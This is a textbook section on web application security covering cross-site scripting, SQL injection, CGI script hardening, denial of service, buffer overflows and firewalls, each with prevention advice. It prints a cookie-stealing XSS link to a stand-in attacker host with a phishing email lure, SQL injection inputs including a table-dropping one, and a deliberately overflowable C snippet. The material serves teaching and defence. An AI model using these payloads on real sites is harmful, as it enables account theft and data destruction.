Service Provider Security Issues

13.6 Service Provider Security Issues

In this section we present several attacks on Web applications, like code injection, and discuss the security requirements of CGI scripts. An overview of these attack threats is given in (Auger et al. 2004). Web application developers are given a concise notion of secure service implementation and are provided with the basic information for preventing typical security holes.

13.6.1 Cross-Site Scripting Definition Cross-site scripting (also known as XSS for short) is a well-known attack focusing on short-

comings of dynamically generated Web pages. XSS attacks exploit the fact that parameters are sometimes not checked when they are passed to dynamically generated Web sites, which allows the insertion of script code instead of the expected parameter values. By abusing such flaws in the implementation and Web site design, attackers can succeed in acquiring personal information of clients.

Example Let’s assume that book.store.com offers its clients personalized Web pages, e.g., to recommend

articles that are supposed to attract the clients’ interest, and to ease login and payment processes. This personalization is realized by the use of cookies. These cookies are stored at the clients’ host and are only accessible in the context of www.book.store.com . The Web application, which is providing the personalized pages, is realized through a CGI-script called mybookstore.cgi. Therefore, Alice’s personal book.store.com profile is available at ( http://www.book.store.com/mybookstore.cgi?name=Alice ). When Alice opens this link, she receives the Web page cf. Figure 13-10.

How can this scenario be abused? The answer is by scripting. Besides static HTML, Web pages can contain dynamic content, e.g., images that change when the mouse is moved over them. This is typically realized with JavaScript. Script operations are included in <script> tags which are invisible to users who are only using their browsers for viewing Web sites. Let’s have

a look at what happens if the parameter in the above example is modified, i.e., if instead of Alice the following is used:

<script>alert("XSS attacks are possible")</script>

The program inserts the parameter value (the supposed client name) without any check into the HTML code of the page, the script code is executed and a message window is opened as illustrated in Figure 13-11.

286 Security for Web Applications

Figure 13-10 Personal view of book.store.com for Alice.

Figure 13-11 Notification of possible attack by scripting.

Thus, if Alice has JavaScript enabled, arbitrary script operations can be executed. Obviously, attacks would be different from the example shown. Attackers could steal Alice’s personal information available at book.store.com , e.g., by using the following link http://www.book.store.com/mybook.store.cgi ? name=Alice

<script> window.open("www.hacker.com/collectcookies.cgi? cookie=" %2Bdocument.cookie) </script>

which would send Alice’s cookie of book.store.com to the CGI-script of the attacker which is sited at www.hacker.com . Alice could be encouraged to click on this link, by receiving an HTML e-mail from the attacker, which pretends to be from book.store.com. For example, the email might look as follows, with the underlined hyperlink redirected to the above address.

Hello Alice, you are granted a gift certificate worth 5$ To activate it just use the following link.

13.6 Service Provider Security Issues 287 Prevention

Whether a site is vulnerable to XSS attacks can be verified through passing the alert command as parameter, as shown in the above example. If this test succeeds, i.e., the message window pops up, then in most cases any other XSS attack would be possible, too. How can XSS attacks

be avoided? (Klein 2002) lists three categories of techniques for the prevention of XSS: • Input filtering: Ingoing requests are checked to see whether they contain potential XSS

attacks. For example HTML tags can be prohibited and symbols like “<” can be replaced by “<”. Input validation requires further programming effort from an application programmer who is aware of possible security threats.

• Output filtering is quite similar to input filtering, but the user data are checked before the HTTP-response is sent to the client. • Application firewalls intercept HTTP traffic and can detect and prohibit XSS attacks before being sent to the Web server.

13.6.2 SQL Injection SQL is a standardized query language for relational database systems. Many Web applications

rely on the interaction with (relational) database systems by passing user requests to databases. That is, based on user input, SQL query statements are generated and sent to database systems in order to retrieve or modify data. SQL injection means that attackers are able to execute malicious SQL code by exploiting flaws in the implementation of the Web application.

SQL injection as well as cross-site scripting (XSS) belongs to the category of generic code injection attacks, but the attack characteristics differ. XSS involves three parties – a victim user, an attacked service provider and the attacker. In contrast to this, an attacker using SQL injection can undermine the security of service providers and their customers by directly attacking a Web application. SQL injection is one of the most prominent representatives of code injection attacks. Depending on the underlying database system, e.g., an XML database, other attacks like XPath or XQuery injection can take place as well (Auger et al. 2004). In the following, we focus on the security threats of SQL injection and provide possibilities for their prevention. Service developers employing non-relational database systems like XML databases are encouraged to apply analogue security considerations for their respective service implementations.

Example Let’s consider the previous example of book.store.com providing personalized sites for its

customers once again. Users are redirected to their personalized mybookstore pages after having entered their username and password in a Web form. Before being redirected, the submitted account information is validated using the subsequent SQL query:

SELECT * FROM users WHERE name = '$name' AND password = '$password'

288 Security for Web Applications The table users in the book.store.com database stores all user information. $name and $password

are the input variables of the respective Web form. The input parameters are inserted in the above SQL statement surrounded by quotation marks. An attacker can exploit this by entering appropriate input. Let’s assume that a malicious user enters ’ OR ’’=’ into the password field. The following SQL statement will be sent to the database system.

SELECT * FROM users WHERE name = 'Alice' AND password = " OR "="

Regarding the priorities of the boolean operators AND and OR , the expression is equivalent to the following with brackets: WHERE (name = 'Alice' AND password = ") OR '=" . In this case the WHERE clause will always evaluate to true . Thus, if the login process simply checks whether a non-empty result set is returned, access would be granted. Apart from this simple example, attackers might even acquire access with administrative privileges, e.g., by posting ' OR name='admin' into the input field – under the assumption that an administrative account with name admin exists. In this case, they are able to create new user profiles with administrative privileges or to establish separate connections with full privileges onto the database.

We give one further example showing the threats of SQL injection. Let’s assume that book.store.com offers a search option, where customers can enter a search string into a text box and receive a list of matching books. The following SQL statement will be used:

SELECT * FROM books WHERE title like '%$searchcriterion%'

This can be misused by malicious users entering a search criterion that terminates the genuine SQL statement and executes another statement. For example, if the query is executed with the following search item

'; drop table books --

first the table books is scanned with no specific title being stated. Afterwards, the second command leads to the deletion of the books table. The two slashes -- introduce comments in SQL and are used to skip the remaining part of the original query. Obviously, attackers can perform almost any SQL operation on the book.store.com database in this way – restricted only by the privileges of the database account under which these statements are executed (see below).

We have only presented statements with string parameters so far. That’s why we used the ’-quotation mark for string termination. Depending on the data types of the parameters, e.g., integers, this is not required. Additionally, we have shown SQL queries with the input parameters at the end of the statements, which simplifies attacks. If SQL queries are written within one line, the end of the statement can be ignored by the use of comments. Otherwise, attacks are more difficult. Anyway, you might argue that malicious users have to know the SQL statements to be able to perform attacks. Apart from the simple trial-and-error method, they can enter requests that lead to syntax errors when the statement is executed. If the Web application is not equipped with thoughtful error handling (which from a software engineering perspective should always

13.6 Service Provider Security Issues 289

be the case) the error code produced by the database might be passed to the requestor, i.e., the attacker. Depending on the database system, the error text might include the executed query.

Prevention • Parameter verification: One possibility to hinder SQL injection is to verify the syntax

of the input parameters, i.e., to check whether they are of the format that the service developer expected. This obviously brings about an additional burden for the application programmer who has to be aware of all possible SQL injection attack types to build appropriate verification methods.

• Prepared statements: Using prepared statements is the best practice. Most database systems support prepared statements for the purpose of query optimization. Prepared statements are parameterizable, which means that statements and parameters are sent to the database separately. The database (or database connectivity driver) checks the type of the parameters. Thus, strings are quoted accordingly.

• Exception handling: When implementing database-based Web applications a concise exception handling should be realized. Database errors that are displayed to the client instead of being caught, not only bear the impression of low implementation quality, but also provide attackers with helpful information.

• Principle of least privilege: Typically, Web applications access underlying database systems via a dedicated database account. Depending on the privileges that are granted to this account, SQL injection attacks vary with regard to the damage they can cause. Suppose that book.store.com’s search functionality is run under an account with database administration privileges. Then the above attack of dropping the table would succeed. The same does not hold if the least privilege principle is followed: this means that a database account is used that is only granted the required privileges, i.e., select on the table books .

13.6.3 Security of CGI Programs The Common Gateway Interface (CGI) is a standard for the communication between programs

or scripts and a Web server (Castro 2001). CGI constitutes a possibility for creating dynamic Web content. CGI programs, i.e., compiled executables or interpretable scripts, receive input parameters via the standard input and write their output on the standard output. A Web server can process the respective output and present it to the client, e.g., as HTML. CGI programs offer

a very flexible way of creating dynamic Web applications, but their flexibility comes along with some security holes that have to be considered:

• CGI programs can leak information about the host system they are executed on. This can enable malicious users to break into the system. Thus, information hiding is a necessity to prevent attacks.

• CGI programs can be victims to code injection. If user input is passed unchecked to CGI programs, service availability may be endangered or commands and system applications (other than the CGI programs) may be executed.

290 Security for Web Applications In the following we discuss aspects for the reliable implementation of CGI applications and

elaborate on the prevention of typical attacks.

Storage Location of CGI Programs CGI programs can be deployed arbitrarily on the Web server. In order to keep track of all

programs and to reduce security threats it is recommended to use a dedicated central directory for them. Typically, these programs are stored in the cgi–bin directory on the Web server. In order to prevent unintended information flow, the CGI directory should not contain superfluous files like prior program versions, which attackers can analyze to detect flaws in the implementation that might enable certain attacks. Additionally, access control should be configured as tightly as possible. In the ideal case only system administrators and service developers should have write access to the CGI directory.

Most important, the CGI directory should not contain any further executables or interpreters. Otherwise, attacks might succeed in sniffing information about the host system (e.g., system calls might be performed to acquire information about the operating system version, which might enable attacks on unpatched security leaks) or in executing arbitrary script commands.

Preventing Unauthorized Command Calls Code injection is also a security threat for CGI scripts. This relies on the fact that CGI programs

like interpreted Perl scripts allow to run shell commands. Such commands can be posted using system() , exec() , piped() , eval() or open() . First of all, it is good coding practice to examine whether shell commands are required at all. Second, as always when code injection has to be avoided, user input should never be trusted. If shell commands are required, at least the user input should be scanned to see whether it contains shell meta-characters.

Another wide-spread attack technique is to alter the PATH environment variable. This aims at the execution of a program other than the one intended by the application developer. This risk can be subverted by using absolute paths when calling programs or by explicitly setting the PATH variable before making program calls.

As described in (Syroid 2002), security for CGI program execution can be enhanced by employing wrappers like suEXEC or CGIWrap. Wrappers perform certain security checks prior to execution. They allow changing the account under which CGI processes are executed, so that system privileges can be restricted as required.

13.6.4 Service Availability Denial of service attacks Denial of service (DoS) attacks aim at compromising the system or the Web application, so that

normal user requests can no longer be served (Auger et al. 2004). DoS attacks can be performed by starving the system of critical resources like CPU, memory or disk space. A possible attack scenario can be the overloading of an application or an underlying resource like a database system by use of costly requests that consume most of the system’s computational power. DoS attacks

13.6 Service Provider Security Issues 291 can also make use of the previously discussed code injection techniques, e.g., SQL injection to

compromise underlying database systems, or buffer overflow attacks to crash the whole system.

Buffer overflow attacks The so-called buffer overflow problem arises when the application programmer makes assump-

tions about the length of user input. If the input is larger than the pre-allocated memory, the program crashes – in the best case. In the worst case, the input overwrites code in main memory with new code, which is used by advanced hackers to gain control of the system. The following code extract illustrates a C program that uses a statically allocated character array to read from standard input.

#include <stdlib.h> #include <stdio.h> static char query string [1024];

char* POST() { int query size; query size=atoi(getenv("CONTENT LENGTH")); fread(query string,query size,1,stdin); return query string;

In the example, the pre-allocated array query string is restricted to 1024 characters. If a user intentionally or unintentionally provides a larger input the program terminates abnormally. This flaw can be solved by either allocating memory dynamically, i.e., using malloc() or calloc() in C, and asserting that space allocation was successful before continuing computation, or by restricting the length to the maximum length expected.

13.6.5 Host Security We have presented some of the most prevalent attacks on Web applications and Web server

stability. New attack techniques regularly emerge that misuse until-then unknown flaws of the operating system, third party software or the application itself. Thus, providing a high level of security for a Web application is a continuous process that demands the system be “up-to-date”. That is, disclosed bugs of third party software have to be fixed using patches and self-developed applications have to be monitored and security holes have to be detected and fixed.

Firewalls provide a solution for preventing unauthorized access to private information, i.e., information that is available within an organization’s Intranet but should not be accessible over the Internet. By the use of firewalls, incoming and outgoing traffic via HTTP (port 80) and HTTPS (port 443) can be supervised and unrequired protocols or suspicious connections can

be prohibited. With Web Services programs can be invoked over standard HTTP and HTTPS, bringing about new security issues, which standard firewalls cannot cope with sufficiently. SOAP firewalls operate as addenda to classical firewalls to check SOAP requests. A SOAP firewall’s policy specifies which services are accessible over the Internet. Furthermore, parameter checks can be performed to prevent code injection attacks.

292 Security for Web Applications